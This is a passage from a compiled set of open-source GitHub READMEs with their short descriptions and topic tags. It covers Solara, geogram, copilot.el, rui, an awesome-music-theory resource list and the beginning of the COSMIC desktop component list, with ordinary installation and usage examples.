PAI-CV team, you can contact us by * Dingding group number: 41783266 * Email: easycv@list.alibaba-inc.com ### Enterprise Service If you need EasyCV enterprise service support, or purchase cloud product services, you can contact us by DingDing Group. 

An all-in-one toolkit for computer vision

self-supervised-learning,transformers,classification,computer-vision,object-detection,pytorch,vision-transformer

widgetti/solara

**A Pure Python, React-style Framework for Scaling Your Jupyter and Web Apps** [](https://solara.dev) Come chat with us on [Discord](https://discord.solara.dev) to ask questions or share your thoughts or creations! [](https://discord.solara.dev) ## Introducing Solara While there are many Python web frameworks out there, most are designed for small data apps or use paradigms unproven for larger scale. Code organization, reusability, and state tend to suffer as apps grow in complexity, resulting in either spaghetti code or offloading to a React application. Solara addresses this gap. Using a React-like API, we don't need to worry about scalability. React has already proven its ability to support the world's largest web apps. Solara uses a pure Python implementation of React (Reacton), creating ipywidget-based applications. These apps work both inside the Jupyter Notebook and as standalone web apps with frameworks like FastAPI. This paradigm enables component-based code and incredibly simple state management. By building on top of ipywidgets, we automatically leverage an existing ecosystem of widgets and run on many platforms, including JupyterLab, Jupyter Notebook, Voilà, Google Colab, DataBricks, JetBrains Datalore, and more. We care about developer experience. Solara will give your hot code reloading and type hints for faster development. ## Installation Run: ``` pip install solara ``` Or follow the [Installation instructions](https://solara.dev/documentation/getting_started/installing) for more detailed instructions. ## First script Put the following Python snippet in a file (we suggest `sol.py`), or put it in a Jupyter notebook cell: ```python import solara # Declare reactive variables at the top level. Components using these variables # will be re-executed when their values change. sentence = solara.reactive("Solara makes our team more productive.") word_limit = solara.reactive(10) @solara.component def Page(): # Calculate word_count within the component to ensure re-execution when reactive variables change. word_count = len(sentence.value.split()) solara.SliderInt("Word limit", value=word_limit, min=2, max=20) solara.InputText(label="Your sentence", value=sentence, continuous_update=True) # Display messages based on the current word count and word limit. if word_count >= int(word_limit.value): solara.Error(f"With {word_count} words, you passed the word limit of {word_limit.value}.") elif word_count >= int(0.8 * word_limit.value): solara.Warning(f"With {word_count} words, you are close to the word limit of {word_limit.value}.") else: solara.Success("Great short writing!") # The following line is required only when running the code in a Jupyter notebook: Page() ``` Run from the command line in the same directory where you put your file (`sol.py`): ```bash $ solara run sol.py Solara server is starting at http://localhost:8765 ``` Or copy-paste this to a Jupyter notebook cell and execute it (the `Page()` expression at the end will cause it to automatically render the component in the notebook). See this snippet run live at https://solara.dev/documentation/getting_started ## Demo The following demo app can be used to explore a dataset (buildin or upload yourself) using a scatter plot. The plot can be interacted with to filter the dataset, and the filtered dataset can be downloaded. * [Source code](https://github.com/widgetti/solara/blob/master/solara/website/pages/apps/scatter.py) ### Running in solara-server The solara server is build on top of Starlette/FastAPI and runs standalone. Ideal for production use.  ### Running in Jupyter By building on top of ipywidgets, we automatically leverage an existing ecosystem of widgets and run on many platforms, including JupyterLab, Jupyter Notebook, Voilà, Google Colab, DataBricks, JetBrains Datalore, and more. This means our app can also run in Jupyter:  ## Resources Visit our main website or jump directly to the introduction [](https://solara.dev/documentation/getting_started/introduction) [](https://solara.dev/documentation/getting_started) *Note that the solara.dev website is created using Solara*

A Pure Python, React-style Framework for Scaling Your Jupyter and Web Apps

dataapp,fastapi,flask,ipywidgets,jupyter,starlette,webapp

BrunoLevy/geogram

# geogram [](https://opensource.org/licenses/BSD-3-Clause) [](https://github.com/BrunoLevy/geogram/actions/workflows/make_release.yml) [](https://github.com/BrunoLevy/geogram/actions/workflows/emscripten.yml) [](https://github.com/BrunoLevy/geogram/actions/workflows/doxygen.yml) [](https://github.com/BrunoLevy/geogram/actions/workflows/continuous.yml) [](https://brunolevy.github.io/geogram/reports/smoke/) [](https://github.com/BrunoLevy/geogram/actions/workflows/nightly.yml) [](https://brunolevy.github.io/geogram/reports/nightly/)  Geogram is a programming library with geometric algorithms. It has geometry-processing functionalities: - [surface reconstruction](https://github.com/BrunoLevy/geogram/wiki/Reconstruction) - [remeshing](https://github.com/BrunoLevy/geogram/wiki/Remeshing) - [parameterization and texturing](https://github.com/BrunoLevy/geogram/wiki/Texturing) - [Intersections and Boolean operations](https://github.com/BrunoLevy/geogram/wiki/BooleanOps) - [Constructive Solid Geometry](https://github.com/BrunoLevy/geogram/wiki/CSG) It also has lower-level algorithm: - [Exact numbers / exact predicates](https://github.com/BrunoLevy/geogram/wiki/Exact) - [Delaunay triangulations in 2D](https://github.com/BrunoLevy/geogram/wiki/Delaunay2D) and highly efficient parallel [Delaunay triangulations in 3D](https://github.com/BrunoLevy/geogram/wiki/Delaunay3D) - Memory efficient surfacic/volumetric/hybrid [mesh data structure](https://github.com/BrunoLevy/geogram/wiki/Mesh) - Efficient [geometric search data structures](https://github.com/BrunoLevy/geogram/wiki/Raytrace) for intersection and raytracing (AABBs, KdTrees, ...) - [Spectral mesh processing](https://github.com/BrunoLevy/geogram/wiki/ManifoldHarmonics) - [Linear solver on CPU and GPU](https://github.com/BrunoLevy/geogram/wiki/OpenNL) Geogram received the [Symposium on Geometry Processing Software Award](http://awards.geometryprocessing.org/) in 2023. Geogram contains the main results in Geometry Processing from the former ALICE Inria project, that is, more than 30 research articles published in ACM SIGGRAPH, ACM Transactions on Graphics, Symposium on Geometry Processing and Eurographics. It was supported by two grants from the European Research Council (ERC): GOODSHAPE and VORPALINE. Links ----- - [Documentation, how to compile, tutorials....](https://github.com/BrunoLevy/geogram/wiki) - [Programmer's reference manuals...](https://brunolevy.github.io/geogram/) - [Releases](https://github.com/BrunoLevy/geogram/releases) - [Projects with geogram](https://github.com/BrunoLevy/geogram/wiki/Publications) - [Graphite](https://github.com/BrunoLevy/GraphiteThree), an experimental 3D modeler built around geogram. - [Geogram in-browser demos](https://github.com/BrunoLevy/geogram/wiki/compiling_Emscripten#examples) (How is it possible ? _more on this [here](https://github.com/BrunoLevy/geogram/wiki/compiling_Emscripten)_) - [Data](https://github.com/BrunoLevy/GraphiteThree/wiki/Data) How does it compare to other geometry-processing libraries ? ------------------------------------------------------------ See [FAQ](https://github.com/BrunoLevy/geogram/wiki/FAQ)

a programming library with geometric algorithms

graphics-libraries,graphics-programming,mesh-generation,mesh-processing,geometry-processing

copilot-emacs/copilot.el

# Copilot.el Copilot.el is an Emacs plugin for GitHub Copilot.  **Warning:** This plugin is unofficial and based on binaries provided by [copilot.vim](https://github.com/github/copilot.vim). **Note:** You need access to [GitHub Copilot][] to use this plugin. Current maintainer: [@emil-vdw][], [@jcs090218][], [@rakotomandimby][]. Retired maintainer: [@zerolfx][]. ## Installation 0. Ensure your Emacs version is at least 27, the dependency package `editorconfig` ([melpa](https://melpa.org/#/editorconfig)) and `jsonrpc` ([elpa](https://elpa.gnu.org/packages/jsonrpc.html), >= 1.0.14) are both installed. 1. Install [Node.js][] v18+. (You can specify the path to `node` executable by setting `copilot-node-executable`.) 2. Setup `copilot.el` as described in the next section. 3. Install the copilot server by `M-x copilot-install-server`. 4. Login to Copilot by `M-x copilot-login`. You can also check the status by `M-x copilot-diagnose` (`NotAuthorized` means you don't have a valid subscription). 5. Enjoy! ## Configurations ### Example for Doom Emacs <details> Add package definition to `~/.doom.d/packages.el`: ```elisp (package! copilot :recipe (:host github :repo "copilot-emacs/copilot.el" :files ("*.el"))) ``` Configure copilot in `~/.doom.d/config.el`: ```elisp ;; accept completion from copilot and fallback to company (use-package! copilot :hook (prog-mode . copilot-mode) :bind (:map copilot-completion-map ("<tab>" . 'copilot-accept-completion) ("TAB" . 'copilot-accept-completion) ("C-TAB" . 'copilot-accept-completion-by-word) ("C-<tab>" . 'copilot-accept-completion-by-word))) ``` Strongly recommend to enable `childframe` option in `company` module (`(company +childframe)`) to prevent overlay conflict. If pressing tab to complete sometimes doesn't work you might want to bind completion to another key or try: ```elisp (after! (evil copilot) ;; Define the custom function that either accepts the completion or does the default behavior (defun my/copilot-tab-or-default () (interactive) (if (and (bound-and-true-p copilot-mode) ;; Add any other conditions to check for active copilot suggestions if necessary ) (copilot-accept-completion) (evil-insert 1))) ; Default action to insert a tab. Adjust as needed. ;; Bind the custom function to <tab> in Evil's insert state (evil-define-key 'insert 'global (kbd "<tab>") 'my/copilot-tab-or-default)) ``` </details> ### Example for Spacemacs <details> Edit your `~/.spacemacs`: ```elisp ;; =================== ;; dotspacemacs/layers ;; =================== ;; add or uncomment the auto-completion layer dotspacemacs-configuration-layers '( ... auto-completion ... ) ;; add copilot.el to additional packages dotspacemacs-additional-packages '((copilot :location (recipe :fetcher github :repo "copilot-emacs/copilot.el" :files ("*.el")))) ;; ======================== ;; dotspacemacs/user-config ;; ======================== ;; accept completion from copilot and fallback to company (with-eval-after-load 'company ;; disable inline previews (delq 'company-preview-if-just-one-frontend company-frontends)) (with-eval-after-load 'copilot (define-key copilot-completion-map (kbd "<tab>") 'copilot-accept-completion) (define-key copilot-completion-map (kbd "TAB") 'copilot-accept-completion) (define-key copilot-completion-map (kbd "C-TAB") 'copilot-accept-completion-by-word) (define-key copilot-completion-map (kbd "C-<tab>") 'copilot-accept-completion-by-word)) (add-hook 'prog-mode-hook 'copilot-mode) ``` </details> ### General Configurations <details> #### 1. Load `copilot.el` ##### Option 1: Load via `straight.el` or `quelpa` (recommended) ###### `straight.el`: ```elisp (use-package copilot :straight (:host github :repo "copilot-emacs/copilot.el" :files ("*.el")) :ensure t) ;; you can utilize :map :hook and :config to customize copilot ``` ###### `quelpa` + `quelpa-use-package`: ```elisp (use-package copilot :quelpa (copilot :fetcher github :repo "copilot-emacs/copilot.el" :branch "main" :files ("*.el"))) ;; you can utilize :map :hook and :config to customize copilot ``` ##### Option 2: Load manually Please make sure you have these dependencies installed (available in ELPA/MELPA): + `dash` + `s` + `editorconfig` + `f` After installing those, clone this repository then insert the below snippet into your config file. ```elisp (add-to-list 'load-path "/path/to/copilot.el") (require 'copilot) ``` #### 2. Configure completion ##### Option 1: Use `copilot-mode` to automatically provide completions ```elisp (add-hook 'prog-mode-hook 'copilot-mode) ``` To customize the behavior of `copilot-mode`, please check `copilot-enable-predicates` and `copilot-disable-predicates`. ##### Option 2: Manually provide completions You need to bind `copilot-complete` to some key and call `copilot-clear-overlay` inside `post-command-hook`. #### 3. Configure completion acceptation Use tab to accept completions (you may also want to bind `copilot-accept-completion-by-word` to some key): ```elisp (define-key copilot-completion-map (kbd "<tab>") 'copilot-accept-completion) (define-key copilot-completion-map (kbd "TAB") 'copilot-accept-completion) ``` </details> ### Programming language detection Copilot.el detects the programming language of a buffer based on the major-mode name, stripping the `-mode` part. Resulting languageId should match table [here](https://code.visualstudio.com/docs/languages/identifiers#_known-language-identifiers). You can add unusual major-mode mappings to `copilot-major-mode-alist`. Without the proper language set suggestions may be of poorer quality. ```elisp (add-to-list 'copilot-major-mode-alist '("enh-ruby" . "ruby")) ``` ## Commands #### copilot-diagnose Check the current status of the plugin. Also you can check logs in the `*copilot events*` buffer and stderr output in the `*copilot stderr*` buffer. #### copilot-login Login to GitHub, required for using the plugin. #### copilot-mode Enable/disable copilot mode. #### copilot-complete Try to complete at the current point. #### copilot-accept-completion Accept the current completion. #### copilot-clear-overlay Clear copilot overlay in the current buffer. #### copilot-accept-completion-by-line / copilot-accept-completion-by-word Similar to `copilot-accept-completion`, but accept the completion by line or word. You can use prefix argument to specify the number of lines or words to accept. #### copilot-next-completion / copilot-previous-completion Cycle through the completion list. #### copilot-logout Log out from GitHub. ## Customization #### copilot-node-executable The executable path of [Node.js][]. #### copilot-idle-delay Time in seconds to wait before starting completion (default to 0). Note Copilot itself has a ~100ms delay because of network communication. #### copilot-enable-predicates / copilot-disable-predicates A list of predicate functions with no argument to enable/disable triggering Copilot in `copilot-mode`. #### copilot-enable-display-predicates / copilot-disable-display-predicates A list of predicate functions with no argument to enable/disable showing Copilot's completions in `copilot-mode`. #### copilot-clear-overlay-ignore-commands A list of commands that won't cause the overlay to be cleared. #### copilot-network-proxy Format: `'(:host "127.0.0.1" :port 7890 :username: "user" :password: "password")`, where `:username` and `:password` are optional. For example: ```elisp (setq copilot-network-proxy '(:host "127.0.0.1" :port 7890)) ``` ## Known Issues ### Wrong Position of Other Completion Popups  This is an example of using together with default frontend of `company-mode`. Because both `company-mode` and `copilot.el` use overlay to show completion, so the conflict is inevitable. To solve the problem, I recommend you to use `company-box` (only available on GUI), which is based on child frame rather than overlay. After using `company-box`, you have:  In other editors (e.g. `VS Code`, `PyCharm`), completions from copilot and other sources can not show at the same time. But I decided to allow them to coexist, allowing you to choose a better one at any time. ### Cursor Jump to End of Line When Typing + If you are using `whitespace-mode`, make sure to remove `newline-mark` from `whitespace-style`. ## Reporting Bugs + Make sure you have restarted your Emacs (and rebuild the plugin if necessary) after updating the plugin. + Please enable event logging by customize `copilot-log-max` (to e.g. 1000), then paste related logs in the `*copilot events*` and `*copilot stderr*` buffer. + If an exception is thrown, please also paste the stack trace (use `M-x toggle-debug-on-error` to enable stack trace). ## Roadmap + [x] Setup Copilot without Neovim + [x] Cycle through suggestions + [x] Add Copilot minor-mode + [ ] ~~Add package to MELPA~~ ## Thanks These projects helped me a lot: + https://github.com/TommyX12/company-tabnine/ + https://github.com/cryptobadger/flight-attendant.el + https://github.com/github/copilot.vim <!-- Links --> [@emil-vdw]: https://github.com/emil-vdw [@jcs090218]: https://github.com/jcs090218 [@rakotomandimby]: https://github.com/rakotomandimby [@zerolfx]: https://github.com/zerolfx [GitHub Copilot]: https://github.com/features/copilot [Node.js]: https://nodejs.org/en/download/

An unofficial Copilot plugin for Emacs.

audulus/rui

<p align="center"> <img src="rui.png" alt="logo" width="200"/> </p> # rui  [](https://deps.rs/repo/github/audulus/rui) Experimental Rust UI library, inspired by SwiftUI. Early days, but some stuff already works. rui will be used for a future version of [Audulus](http://audulus.com/) rui is GPU rendered and updates reactively (when your state changes). The focus of rui is to have the best ergonomics, and use the simplest possible implementation. As such, there is no retained view tree (DOM) or view diffing. Everything is re-rendered when state changes, under the assumption that we can do that quickly. [discord server](https://discord.gg/JCVVBU3sCN) - macOS ✅ - Windows ✅ - Linux ✅ - iOS ✅ (see https://github.com/audulus/rui-ios) - wasm (WIP) ## Examples obligatory Counter (`cargo run --example counter`): ```rust use rui::*; fn main() { state( || 1, |count, cx| { vstack(( cx[count].padding(Auto), button("increment", move |cx| { cx[count] += 1; }) .padding(Auto), )) }, ) .run() } ``` <img src="screenshots/counter.png" alt="counter screenshot" style="width:50%;"> some shapes (`cargo run --example shapes`): ```rust use rui::*; fn main() { vstack(( circle() .color(RED_HIGHLIGHT) .padding(Auto), rectangle() .corner_radius(5.0) .color(AZURE_HIGHLIGHT) .padding(Auto) )) .run() } ``` <img src="screenshots/shapes.png" alt="shapes screenshot" style="width:50%;"> canvas for gpu drawing (`cargo run --example canvas`): ```rust use rui::*; fn main() { canvas(|_, rect, vger| { vger.translate(rect.center() - LocalPoint::zero()); let paint = vger.linear_gradient( [-100.0, -100.0], [100.0, 100.0], AZURE_HIGHLIGHT, RED_HIGHLIGHT, 0.0, ); let radius = 100.0; vger.fill_circle(LocalPoint::zero(), radius, paint); }) .run() } ``` <img src="screenshots/canvas.png" alt="canvas screenshot" style="width:50%;"> `slider` with `map` (`cargo run --example slider`): ```rust use rui::*; #[derive(Default)] struct MyState { value: f32, } /// A slider with a value. fn my_slider(s: impl Binding<f32>) -> impl View { with_ref(s, move |v| { vstack(( v.to_string().font_size(10).padding(Auto), hslider(s).thumb_color(RED_HIGHLIGHT).padding(Auto), )) }) } fn main() { state(MyState::default, |state, cx| map( cx[state].value, move |v, cx| cx[state].value = v, |s, _| my_slider(s), ), ) .run() } ``` <img src="screenshots/slider.png" alt="slider screenshot" style="width:50%;"> widget gallery (`cargo run --example gallery`): <img src="screenshots/gallery.png" alt="widgets gallery screenshot" style="width:50%;"> ## Goals - Encode UI in types to ensure stable identity. - Optimize to reduce redraw. - Use [vger-rs](https://github.com/audulus/vger-rs) for rendering. - Minimal boilerplate. - Good looking. - No `unsafe`. - Accessibility for assistive technologies. ## Optional Features - `winit` - (*enabled by default*) use winit for windowing. - Use `default-features = false` if you are embedding rui (see https://github.com/audulus/rui-ios). ## Why and how? In the long term, I'd like to move [Audulus](http://audulus.com/) over to Rust. After looking at other available UI options, it seemed best to implement something resembling the existing immediate mode UI system I already have working in Audulus, but better. I had been enjoying the ergonomics of SwiftUI, but SwiftUI simply can't handle big node graphs very well ([we have tried]( https://github.com/audiokit/flow) and had to fall back to manual layout and render with [Canvas](https://developer.apple.com/documentation/swiftui/canvas), so we couldn't put custom Views within each node). What you find with SwiftUI (particularly when profiling) is that there's a lot of machinery dealing with the caching aspects of things. It's opaque, scary (crashes on occasion, parts are implemented in C++ not Swift!), and can be rather slow. Often, it seems to be caching things thare are trivial to recompute in the first place. Not so long ago, before programmable shaders, it was necessary to cache parts of a UI in textures (CoreAnimation for example does this) to get good performance. Now we have extremely fast GPUs and such caching is not necessary to achieve good performance. In fact if enough is animating, lots of texture caching can hinder performance, since the caches need to be updated so often. Plus, the textures consume a fair amount of memory, and when you have an unbounded node-graph like Audulus, that memory usage would be unbounded. And what resolution do you pick for those textures? So rui starts from the assumption that 2D UI graphics (not general vector graphics!) are a trivial workload for a GPU. If you consider how advanced games are now, doing realtime global illumination and such, this seems intuitively correct, but Audulus more-or-less proves it. So that means we can do away with the texture caching, and we really might not even need damage regions either. I'm also skeptical of the need for parallel encoding or caching parts of the scene for 2D UI graphics, since, again, it's just a trivial GPU workload. Layout, on the other hand, can't easily be offloaded to GPU free-performance land. It's necessary to cache layout information and try not to recompute it all the time. So rui caches layout and only recomputes it when the state changes (unlike a typical immediate mode UI which computes layout on the fly and is constrained to very simple layouts). For Audulus, this isn't quite enough, since some view-local state will be changing all the time as things are animating (Audulus solves this by only recomputing layout when the central document state changes). Perhaps this is where proponents of DOM-ish things (some other OOP-ish tree of widgets) would jump in and make their case, but I'm skeptical that's really necessary. Think of what actually needs to be (re)computed: a layout box for each (ephemeral) View. Does this really require a separate tree of objects? Time will tell! ## Status - ✅ basic shapes: circle, rounded rectangle - ✅ basic gestures: tap, drag - ✅ hstack/vstack - ✅ text - ✅ padding - ✅ offsets - ✅ state - ✅ zstack - ✅ canvas (GPU vector graphics with vger) - ✅ bindings - ✅ list - ✅ sliders - ✅ knobs - ✅ editable text (still a bit rough) - ✅ any_view (view type erasure) - ✅ layout feedback - ✅ animation - ✅ UI unit testing ## References [Towards principled reactive UI](https://raphlinus.github.io/rust/druid/2020/09/25/principled-reactive-ui.html) [Towards a unified theory of reactive UI](https://raphlinus.github.io/ui/druid/2019/11/22/reactive-ui.html) [Flutter's Rendering Pipeline](https://www.youtube.com/watch?v=UUfXWzp0-DU) [Static Types in SwiftUI](https://www.objc.io/blog/2019/11/05/static-types-in-swiftui/) [How Layout Works in SwiftUI](https://www.hackingwithswift.com/books/ios-swiftui/how-layout-works-in-swiftui) [Xilem: an architecture for UI in Rust](https://raphlinus.github.io/rust/gui/2022/05/07/ui-architecture.html)

Declarative Rust UI library

rust,gui,gpu,winit,wgpu,vger,graphics,ui,declarative-ui,user-interface

vpavlenko/study-music

Awesome Music Theory [](https://github.com/sindresorhus/awesome) === Where to start --- <img src="https://user-images.githubusercontent.com/1491908/220568166-377d3637-b5f6-45a9-906c-a8e4a21c3778.jpg" width="200" align="right"> **Play** 1. [Pentatonic sequencer](https://www.maxlaumeister.com/tonematrix/) 2. [Music Mouse 🐭](https://teropa.info/musicmouse/) 3. [The Infinite Drum Machine 🥁](https://experiments.withgoogle.com/ai/drum-machine/view/) or [Groove Pizza](https://apps.musedlab.org/groovepizza/) or [Groove Pizzeria](https://tylerbisson.com/Groove-Pizzeria/) 4. [Chord Player](https://www.onemotion.com/chord-player/) (check out "Melody" and "Explore" tabs) or [aQWERTYon](https://apps.musedlab.org/aqwertyon/) **Interact** 1. Go through [Ableton's guide on music](https://learningmusic.ableton.com/) and [Ableton's guide on synths](https://learningsynths.ableton.com/) 1. [Bartosz Ciechanowski. Sound](https://ciechanow.ski/sound/) 2. [Chrome Music Lab](https://musiclab.chromeexperiments.com/) 16. [🤖 AI demos](https://github.com/affige/genmusic_demo_list): [Magenta](https://magenta.tensorflow.org/demos/), [MusicLM](https://google-research.github.io/seanet/musiclm/examples/), [LakhNES](https://chrisdonahue.com/LakhNES/), [Muzic](https://ai-muzic.github.io/), [Jazz Transformer](https://drive.google.com/drive/folders/1-EeV02jvRftdvwWXa0KpoMvyRQaXUJ0W) **Wander around** 1. Explore [Hooktheory's TheoryTab](https://www.hooktheory.com/theorytab): search for your favorite songs and anime openings. 1. [Ishkur's evolution of electronic music](https://music.ishkur.com/) 12. Press Alt+"scan" at [Every Noise 🌐](https://everynoise.com/) 13. Piano rolls in 12 colors: [Famicom/NES 👾](https://rawl.rocks/browse/Nintendo), [popular music in MIDI](https://rawl.rocks/) 15. [TuttiTempi: Chopin's Funeral March ⚰️](https://tuttitempi.com/#scoreId=U00000578581&from=0.5622&to=0.8122&youtube=1&spotify=0&muziekweb=0) 10. Click "Show Timeline" for patterns similar to octatonic used in jazz solos: [upward](https://dig-that-lick.hfm-weimar.de/similarity_search/search?id=8855&target_layout=&group_by=&task_id=6c3656c4-724b-401a-a69a-4f874adddafc), [downward](https://dig-that-lick.hfm-weimar.de/similarity_search/search?id=8856&target_layout=&group_by=&task_id=dce240ac-68c9-49f4-90f5-636e0ad2d15b) 11. See how form can be visualized in [MusicPlot](https://wlouie1.github.io/MusicPlot/musicplot.html) and in [BriFormer](https://www.brianedwardjarvis.com/MusicTheoryWebApps/BriFormer/briformer.html) **Watch** 1. How a track emerges: - [on the OP-1 🎛️](https://www.youtube.com/watch?v=lu5XB1Y2rHk) - [in a studio with live instruments 🎻](https://www.youtube.com/watch?v=4CGBfbB4g0Y) - [on a vocal looper 🎤](https://youtu.be/nvIGCMhjkvw?t=39) - [in TidalCycles 💻](https://youtu.be/etAZbQtggSQ?t=124) - Also, [a Piano Phase jam in TidalCycles](https://www.youtube.com/watch?v=Hc-lcAajQxo) 3. [Ravel's Bolero](https://www.youtube.com/watch?v=4p-mwp0nNac) 2. [The Art of Mixing 🎚️](https://youtu.be/TEjOdqZFvhY?t=25) 4. [Nopia 🎹](https://www.youtube.com/watch?v=Ivuy9QYLFVY) - a chord-based synthesizer 2. 🍿 Two-chord changes typical for movie soundtracks: [LP](https://www.youtube.com/watch?v=I33UqUhKE10), [H](https://www.youtube.com/watch?v=_LCDlv33y4M), [T6](https://www.youtube.com/watch?v=0V1Mfmdt8lA), [S](https://www.youtube.com/watch?v=rfYU1F0pJik), [F and N](https://www.youtube.com/watch?v=tHs3gdouz68) 14. Watch [a gamelan multitrack](https://www.youtube.com/watch?v=ccHTOepjK_s) and try to [make sense of it](https://docs.google.com/document/d/1oKbYpSAcunMTvB-casuFUyiaSuHGJkJhGf5rrvfOPgE/edit), maybe with a help of [a larger multitrack for another piece](https://www.youtube.com/watch?v=jE93bF0dooU) **Read** 1. [📚 Hooktheory 📚](https://hooktheory.com/affiliate/275-2-3-1.html) - interactive books on pop harmony. A must-read for anyone 1. [Music Theory for Musicians and Normal People](https://tobyrush.com/theorypages/pdf/en-us/the-whole-enchilada-set.pdf) 1. Dig into the structure of [Beethoven's sonata #5 movement #1](https://rawl.rocks/f/beethoven_sonate_5_1st), also see what we as a society [**know about it**](parts/beethoven_op10no1mov1.md). 17. Visualizations: [**classical**](parts/classical_visualizations.md), [**jazz harmony**](parts/jazz_harmony_visualizations.md), [**jazz solos**](parts/jazz_solo_visualizations.md), [**rock**](parts/rock_visualizations.md) **Sing** 1. [Arabic maqamat](https://www.youtube.com/watch?v=xN7E1pc8Y2Y&list=PLcfDkfaWrWRRcgUawWPz4bdL0Co17rphx) 2. [Indonesian gamelan](https://www.youtube.com/watch?v=99GFmJmiwZA) **Лекции** - [🎥 Есть мои видеолекции](https://t.me/keetezh/1055) Western music languages --- <img src="https://user-images.githubusercontent.com/1491908/220957973-a76da180-0bf9-4ad4-b03d-8f6ff2d3a2a7.png" width="200" align="right"> Music languages can be divided into a number of families. Historically, the most dominant and influencial one is Western family of languages. Its languages share some common traits: - 12-tone temperament - major/minor keys - homophony: melody over chords, chords give a separate narrative - chords as stacked thirds - any of the 12 notes can be a tonic - after two repetitions of any idea there should be a contrasting idea - mostly 4/4 and 3/4 - cadences are chord patterns The languages are (roughly speaking): - [**Rock**](parts/rock.md) - probably worth exploring the first, as it's the simplest and pretty popular. It makes sense to start here and expand into other Western languages later on - as they share a lot of concepts. Rock here is an umbrella term for pop, soul/RnB, blues rock, folk rock, alternative, punk, prog, and heavy metal. [**Advanced**](parts/advanced_rock.md) - [**Classical**](parts/classical.md) - the biggest chapter here, as it's the main focus of research and teaching until recently (despite its unpopularity according to [streaming stats](https://headphonesaddict.com/music-genre-statistics/) and [**decolonization ideas**](parts/decolonization.md). Subtopics: [**pre-classical**](parts/pre_classical.md), [**advanced**](parts/classical_advanced.md), [**Bach chorales**](parts/bach_chorales.md) - [**Jazz**](parts/jazz.md). Subtopics: [**harmony**](parts/jazz_harmony.md), [**lego**](parts/lego.md), [**solo**](parts/jazz_solo.md) - [**Groove/blues**](parts/groove.md) - funk, R&B - [**Barbershop**](parts/barbershop.md) - [**Movies (neo-Riemannian)**](parts/movies.md) - [**Video games**](parts/vgm.md) - [**EDM**](parts/edm.md) - Other genres like country, gospel, contemporary worship music, rap - Western regional traditions (eg. [Latin](https://www.halleonard.com/menu/562/latin), flamenco?) Somewhat related to that are church chants: Gregorian, Byzantine, Armenian, [Znamenny](https://files.tandav.me/orthodox-midi/rawl.html) Non-Western music languages --- Non-Western music languages are different families. As they were developed all over the globe, they don't share many common features. The gradient of families is (roughly speaking): - [**Balkan languages**](parts/balkan.md) - [**Maqam languages**](parts/maqam_languages.md) - [**Indian music**](parts/indian.md) - [**Gamelan**](parts/gamelan.md), [**piphat**](parts/piphat.md) and other gong chime languages - many other traditions: [**Chinese**](parts/chinese.md), [**Kyrgyz komuz**](parts/kyrgyz.md), [**Georgian polyphonic singing**](parts/georgian.md), [**Japanese**](parts/japanese.md) [**Broad overview on non-Western languages**](parts/non_western_languages.md) Topics --- <img src="https://user-images.githubusercontent.com/1491908/220949769-3a8467df-3e6c-4664-a973-21c81cfe8fa0.png" width="200" align="right"> - [**Research**](parts/research.md) - [MusoRepo: a Directory of Resources for Computational Musicology](https://fourscoreandmore.org/musoRepo/) - curated by Mark Gotham - [**corpus studies**](parts/corpus.md) - [**expressive performance**](parts/expressive.md) - [**interactive harmonic analysis**](parts/harmonic_analysis.md) - [**Composition**](parts/composition.md) - [**Visualizations and notation**](parts/visualizations.md) - [**Maps of genres**](parts/maps_of_genres.md) - [**Listening guides**](parts/listening_guides.md) - how to enjoy classical music without a deep commitment to learn theory - [**Ear training**](parts/ear_training.md) - [**Piano**](parts/piano.md), [**guitar**](parts/guitar.md) - [**Rhythm**](parts/rhythm.md) - [**Topics, tropes, meaning**](parts/meaning.md) - [**Pseudoscience**](parts/pseudoscience.md) - [**Improvisation**](parts/improvisation.md) - [**Sociology**](parts/sociology.md) - [**Psychology**](parts/psychology.md) - [**YouTube, podcasts and lists of resources**](parts/youtube_and_podcasts.md) Topics on electronic music --- <img src="https://user-images.githubusercontent.com/1491908/220955095-75f3a0d3-e090-43e7-a9ae-98c5f8eb1999.png" align="right" width="200"> - [**Sound design**](parts/sound_design.md) - [**Digital composition**](parts/digital_composition.md) - [**Neural networks**](parts/nn.md), [**🔥 tokenization**](research/nns.md) - [**🔥 Transcription**](parts/transcription.md) - [**Mixing**](parts/mixing.md) - [**Microtonal music**](parts/microtonal.md) - [**Notable instruments**](parts/instruments.md) - [Institute of Sonology: One-Year Course](http://sonology.org/one-year-course-admission/) Contacts --- I post updates and other rant on music theory on [Twitter](https://twitter.com/vitalypavlenko) (in English) and on [Telegram](https://t.me/keetezh) (in Russian) Do you know how to enroll in a music theory program (master's/PhD) after a computer science BSc and two years of jazz college ([linkedin](https://www.linkedin.com/in/vitaly-pavlenko-9729bb76/))? Please, let me know: cxielamiko@gmail.com, [t.me/vitalypavlenko](https://t.me/vitalypavlenko) (asking for myself) I'm always happy to chat about visualisation-aided music education and research popularisation. Also, I constantly feel severely deprived of communication with the real academic theoretic community, so drop me a line ;) Also, if you're in the UK, and especially in London, drop me a line and let's grab coffee.

An "awesome music theory" kinda wiki with books, resources and courses for studying everything about music and sound

classical-music,ear-training,jazz,music,music-history,music-theory,musicology,sound-design,electronic-music,sound

pop-os/cosmic-epoch

# COSMIC Desktop Currently an incomplete **pre-alpha**. Testing instructions below for various distributions. ## Components of COSMIC Desktop * [cosmic-applets](https://github.com/pop-os/cosmic-applets) * [cosmic-applibrary](https://github.com/pop-os/cosmic-applibrary) * [cosmic-bg](https://github.com/pop-os/cosmic-bg) * [cosmic-comp](https://github.com/pop-os/cosmic-comp) * [cosmic-edit](https://github.com/pop-os/cosmic-edit) * [cosmic-files](https://github.com/pop-os/cosmic-files) * [cosmic-greeter](https://github.com/pop-os/cosmic-greeter) * [cosmic-icons](https://github.com/pop-os/cosmic-icons) * [cosmic-launcher](https://github.com/pop-os/cosmic-launcher) * [cosmic-notifications](https://github.com/pop-os/cosmic-notifications) * [cosmic-osd](https://github.com/pop-os/cosmic-osd) * [cosmic-panel](https://github.com/pop-os/cosmic-panel) * [cosmic-randr](https://github.com/pop-os/cosmic-randr) * [cosmic-screenshot](https://github.com/pop-os/cosmic-screenshot) * [cosmic-session](https://github.com/pop-os/cosmic-session) * [cosmic-settings](https://github.com/pop-os/cosmic-settings) * [cosmic-settings-daemon](https://github.com/pop-os/cosmic-settings-daemon) * [cosmic-store](https://github.com/pop-os/cosmic-store) * [cosmic-term](https://github.com/pop-os/cosmic-term) * [cosmic-theme-editor](https://github.com/pop-os/cosmic-theme-editor) * [cosmic-workspaces-epoch](https://github.com/pop-os/cosmic-workspaces-epoch) * 